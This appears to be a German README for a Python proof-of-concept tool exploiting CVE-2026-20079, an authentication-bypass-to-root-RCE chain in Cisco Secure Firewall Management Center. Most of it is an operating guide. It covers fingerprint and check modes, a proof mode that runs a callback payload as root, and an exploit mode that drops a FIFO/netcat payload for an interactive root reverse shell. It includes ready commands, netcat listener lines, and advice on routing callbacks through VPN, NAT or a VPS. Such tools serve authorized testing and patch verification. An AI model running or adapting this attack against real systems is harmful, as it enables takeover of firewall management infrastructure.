
Implementiert die CVE-2026-20079-Authentifizierungs-Bypass-zu-Root-RCE-Kette gegen Cisco Secure FMC mithilfe von Fingerprint-, Check-, Proof- und interaktiven Exploit-Modi.
Python-Proof-of-Concept für die öffentlich dokumentierte Authentifizierungs-Bypass-zu-Root-RCE-Kette in Cisco Secure Firewall Management Center unter CVE-2026-20079.
Dies ist keine neue Schwachstelle und keine unabhängig entwickelte Exploit-Kette. Es handelt sich um eine Clean-Room-Implementierung der von VulnCheck veröffentlichten Anfragesequenz mit separaten Modi für Fingerprinting, gestufte Prüfung, einmaligen Proof und interaktiven Exploit.
Python 3.10 oder höher ist erforderlich. Unter Linux oder macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
Alle 192.0.2.x-Werte unten sind reservierte Dokumentationsadressen. Sie sind
Platzhalter, keine ermittelten Zielinformationen, und müssen durch
Werte aus der autorisierten Bewertung ersetzt werden. Es wird nicht erwartet, dass die Befehle
unverändert funktionieren.
| Beispiel | Bedeutung | Was stattdessen zu verwenden ist |
|---|---|---|
https://192.0.2.10 | Ziel-FMC-URL | Das exakte autorisierte FMC-Schema, die Adresse und der Port |
192.0.2.20 | Adresse, unter der sich die FMC zurückverbindet | Die IP-Adresse oder der DNS-Name des Listeners des Operators wie von der FMC aus erreichbar |
192.0.2.0/24 | Beispiel-Fingerprint-CIDR | Ein ausdrücklich autorisierter Netzwerkbereich |
4444 | Callback-/Listener-TCP-Port | Ein genehmigter erreichbarer Port auf dem Callback-System |
0.0.0.0 | Wo der Listener auf dem Operator-System bindet | Beibehalten, um auf allen lokalen Schnittstellen zu lauschen, oder eine lokale Schnittstellenadresse verwenden |
192.0.2.10 in --expected-callback-source | Erwartete Quelle des Callbacks | Die FMC-Quelladresse, wie sie vom Listener beobachtet wird; diese Option weglassen, wenn NAT sie unsicher macht |
http://127.0.0.1:8080 | Optionaler lokaler abfangender Proxy | Die Proxy-URL, die tatsächlich auf dem Operator-System lauscht |
--callback-hostWenden Sie diese Regel an: Welche Adresse erreicht aus Sicht der FMC den
Listener des Operators? Diese Adresse ist --callback-host.
| Netzwerkpfad | Typischer Wert für --callback-host |
|---|---|
| Operator und FMC befinden sich im selben gerouteten Netzwerk | Die erreichbare eth0-, en0- oder andere LAN-Adresse des Operator-Systems |
| Operator erreicht die FMC über ein VPN | Die erreichbare VPN-Schnittstellenadresse, etwa tun0 oder utun, wenn die FMC eine Route dorthin hat |
| Operator befindet sich hinter NAT oder einer Firewall | Die öffentliche IP oder der DNS-Name, deren ausgewählter Port an das Operator-System weitergeleitet wird |
| Ein Callback-Tunnel oder VPS wird verwendet | Der erreichbare Tunnel-Endpunkt oder die VPS-Adresse |
Verwenden Sie nicht 127.0.0.1 oder 0.0.0.0 für --callback-host. 127.0.0.1 würde
sich auf die FMC selbst beziehen, während 0.0.0.0 ein Listener-Bind-Wert ist, kein
Ziel. Stellen Sie sicher, dass Routing, Firewall-Regeln und etwaige Portweiterleitungen es der
FMC ermöglichen, --callback-host auf --callback-port zu erreichen.
--listen-host ist nur lokal: Es wählt die Schnittstelle aus, auf der der integrierte
Listener wartet. Sein Standardwert 0.0.0.0 lauscht auf jeder lokalen Schnittstelle. Er
teilt der FMC nicht mit, wohin sie sich verbinden soll. Daher können --callback-host und
--listen-host unterschiedlich sein, insbesondere über NAT hinweg.
Nehmen Sie dieses fiktive, ausschließlich zur Dokumentation dienende Labor an:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Die Werte werden dem Befehl wie folgt zugeordnet:
--target https://192.0.2.10 identifiziert die FMC, die bewertet wird.--callback-host 192.0.2.20 ist die eth0-Adresse des Operator-Systems, da
die FMC direkt dorthin routen kann.--callback-port 4444 ist der genehmigte TCP-Port, der für den Callback verwendet wird.--listen-host 0.0.0.0 bewirkt, dass der integrierte Listener den Callback auf
jeder lokalen Schnittstelle akzeptiert, einschließlich eth0.Ein einmaliger Proof-Befehl für dieses Beispiel wäre:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
Der Ablauf ist: Der Operator sendet HTTPS-Anfragen an 192.0.2.10, dann verbindet sich die FMC zurück zum 192.0.2.20:4444 des Operators. In einer realen Bewertung ersetzen Sie beide IP-Adressen und bestätigen Sie die Rückroute, bevor Sie den Befehl ausführen. Wenn die FMC die eth0-Adresse des Operators nicht erreichen kann, verwenden Sie stattdessen die oben beschriebene erreichbare VPN-, NAT-, Tunnel- oder VPS-Adresse.
| Modus | Netzwerk- oder Zielwirkung | Nachweis oder Ergebnis |
|---|---|---|
--fingerprint | Nur GET-Anfragen | Eine mögliche FMC-Weboberfläche; keine Bestätigung einer Schwachstelle |
--check | Höchstens zwei GET-Anfragen; kein Session-Upgrade | Das bekannte Bypass-Antwortmuster stimmt vollständig oder teilweise überein |
--check --intrusive | Führt ein Upgrade des serverseitigen Sitzungszustands durch | Umgehung der Authentifizierung und Zugriff auf ein Aktions-Token |
--proof | Schreibt und führt eine begrenzte Callback-Payload aus | Root-Ausführung plus Bereinigung, ohne interaktive Shell |
--exploit | Schreibt und führt eine FIFO/netcat-Payload aus | Ein interaktiver Root-Callback oder eine begrenzte Verifikation mit --auto-verify |
Legen Sie die drei Beispielwerte einmalig fest und ersetzen Sie jeden durch das autorisierte Ziel, die Operator-Callback-Adresse und den Port:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Wählen Sie dann genau einen Modus:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] Fingerprinting ist ein heuristischer Schritt zur Produktidentifikation, keine Schwachstellenprüfung.
MATCHundLIKELYbeweisen nicht, dass das Ziel betroffen oder ausnutzbar ist, undNO_MATCHschließt FMC nicht aus. Reverse-Proxys, angepasste Anmeldeseiten, Zugriffskontrollen, Netzwerkfehler oder Produktänderungen können das Ergebnis beeinflussen.